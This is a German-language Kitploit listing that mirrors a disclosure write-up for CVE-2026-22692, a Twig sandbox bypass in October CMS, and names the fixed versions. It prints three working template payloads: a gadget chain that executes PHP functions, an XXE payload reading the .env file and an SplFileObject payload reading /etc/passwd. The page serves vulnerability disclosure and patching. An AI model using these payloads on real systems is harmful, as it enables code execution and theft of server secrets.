Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22692 — CVE-2026-22692 – Kritischer Twig-Sandbox-Bypass via collect()->mapInto(), der RCE/LFI/XXE in October CMS ermöglicht | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-22692
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 – Kritischer Twig-Sandbox-Bypass via collect()->mapInto(), der RCE/LFI/XXE in October CMS ermöglicht

Repository anzeigen
2vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22692: Kritischer Twig-Sandbox-Bypass über collect()->mapInto() ermöglicht RCE/LFI/XXE (October CMS)

Übersicht

FeldDetails
CVE-IDCVE-2026-22692
SchweregradMittel (CVSS:3.1 4.9)
AdvisoryGHSA-m5qg-jc75-4jp6
Betroffenes ProduktOctober CMS (<= 4.1.4, <= 3.7.12)
SchwachstellentypTwig-Sandbox-Bypass -> RCE, LFI, XXE
Entdeckt vonLukasz Rybak

CWE-Klassifizierung

  • CWE-693: Fehler beim Schutzmechanismus
  • CWE-611: Unzureichende Einschränkung von XML-External-Entity-Referenzen
  • CWE-74: Unzureichende Neutralisierung spezieller Elemente in der Ausgabe, die von einer nachgelagerten Komponente verwendet wird („Injection“)

Zusammenfassung

In der Twig-Sandbox (Safe Mode) von October CMS existiert eine kritische Schwachstelle, die es authentifizierten Benutzern mit Bearbeitungsrechten für Vorlagen ermöglicht, Sicherheitsbeschränkungen zu umgehen und beliebigen PHP-Code auszuführen (RCE) oder beliebige Dateien vom Server zu lesen (XXE/LFI).

Details

Grundursache

Die Grundursache liegt in October\Rain\Support\SafeCollection. Diese Klasse implementiert das Interface CallsAnyMethod, das System\Twig\SecurityPolicy mitteilt, die standardmäßige Methoden-Whitelist für das Collection-Objekt selbst zu umgehen.

Während SafeCollection versucht, Argumente zu filtern, um die direkte Ausführung von Callables zu verhindern, blockiert es die Methode mapInto($class) nicht. Die Methode mapInto iteriert über die Collection und instanziiert den angegebenen Klassennamen:

root@kitploit:~
new $class($value, $key);

Schwachstelle 1: RCE (Funktionsausführung)

Die System\Twig\SecurityPolicy nimmt die Methode __toString() auf allen Objekten explizit in die Whitelist auf. Durch Instanziieren von Psy\Readline\Hoa\Xcallable (das einen Callable umschließt) und dessen Einbettung in eine GuzzleHttp\Psr7\FnStream (die in ihrer __toString-Methode über die Eigenschaft _fn___toString eine benutzerdefinierte Funktion aufruft) kann ein Angreifer die Ausführung beliebiger PHP-Funktionen ohne Argumente (z. B. php_uname, phpinfo) auslösen, indem er das Objekt einfach in Twig ausgibt.

Schwachstelle 2: XXE (Beliebiges Lesen von Dateien)

Die Klasse SimpleXMLElement akzeptiert eine libxml-Optionsflagge als zweites Konstruktorargument. mapInto() übergibt den Collection-Key als zweites Argument an den Konstruktor. Durch Erstellen einer Collection mit einem Key von 2 (entspricht LIBXML_NOENT) kann ein Angreifer die Substitution externer Entitäten in SimpleXMLElement aktivieren, was zu sofortigem XXE und der Möglichkeit führt, Systemdateien zu lesen.

Schwachstelle 3: LFI (Beliebiges Lesen von Dateien über SplFileObject)

Eine direktere Local-File-Inclusion-Schwachstelle (LFI) besteht über die native PHP-Klasse SplFileObject. Durch Instanziieren von SplFileObject mit einem Dateipfad und Lesemodus (übergeben über mapInto) erhält ein Angreifer ein traversierbares Dateiobjekt. Wird dieses Objekt an den collect()-Helfer übergeben, kommt es sofort zur Iteration (über iterator_to_array im Framework-Kern), wodurch die Richtlinie der Sandbox zur Methodenblockierung umgangen wird. Dadurch kann jede Datei gelesen werden, auf die der Webserver Zugriff hat – ohne dass XML-Unterstützung oder spezifische Vendor-Bibliotheken erforderlich sind.

PoC (Proof of Concept)

Voraussetzungen

  • Authentifizierter Zugriff auf das October-CMS-Backend (oder eine beliebige Funktion, die das Bearbeiten von Twig-Vorlagen erlaubt)
  • CMS_SAFE_MODE=true

Payload 1: RCE (php_uname ausführen)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Payload 2: XXE (.env-Datei lesen)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Payload 3: LFI (/etc/passwd über SplFileObject lesen)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

Auswirkungen

Remote Code Execution (RCE), Local File Inclusion (LFI), XML-External-Entity-Injection (XXE).

  • RCE: Ermöglicht die Ausführung von PHP-Code (begrenzt auf Funktionen ohne Argumente mit dem FnStream-Gadget, aber potenziell mit anderen Gadgets erweiterbar).
  • LFI / XXE: Ermöglicht das Lesen beliebiger Dateien auf dem Server-Dateisystem, auf die der Web-Benutzer Zugriff hat (einschließlich /etc/passwd, Datenbankkonfiguration, .env usw.), über mehrere Vektoren (SimpleXMLElement oder SplFileObject).

Dies betrifft jede October-CMS-Installation, bei der nicht vertrauenswürdige oder halb vertrauenswürdige Benutzer Zugriff auf den CMS-Vorlagen-Editor haben, was ihnen effektiv eine Rechteausweitung auf Systemadministrator-/Root-Ebene ermöglicht.

Betroffene Produkte

  • Paket: octobercms/october (Packagist)
  • Betroffene Versionen: <= 4.1.4, <= 3.7.12
  • Behoben in: 4.1.5, 3.7.13

Referenzen

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen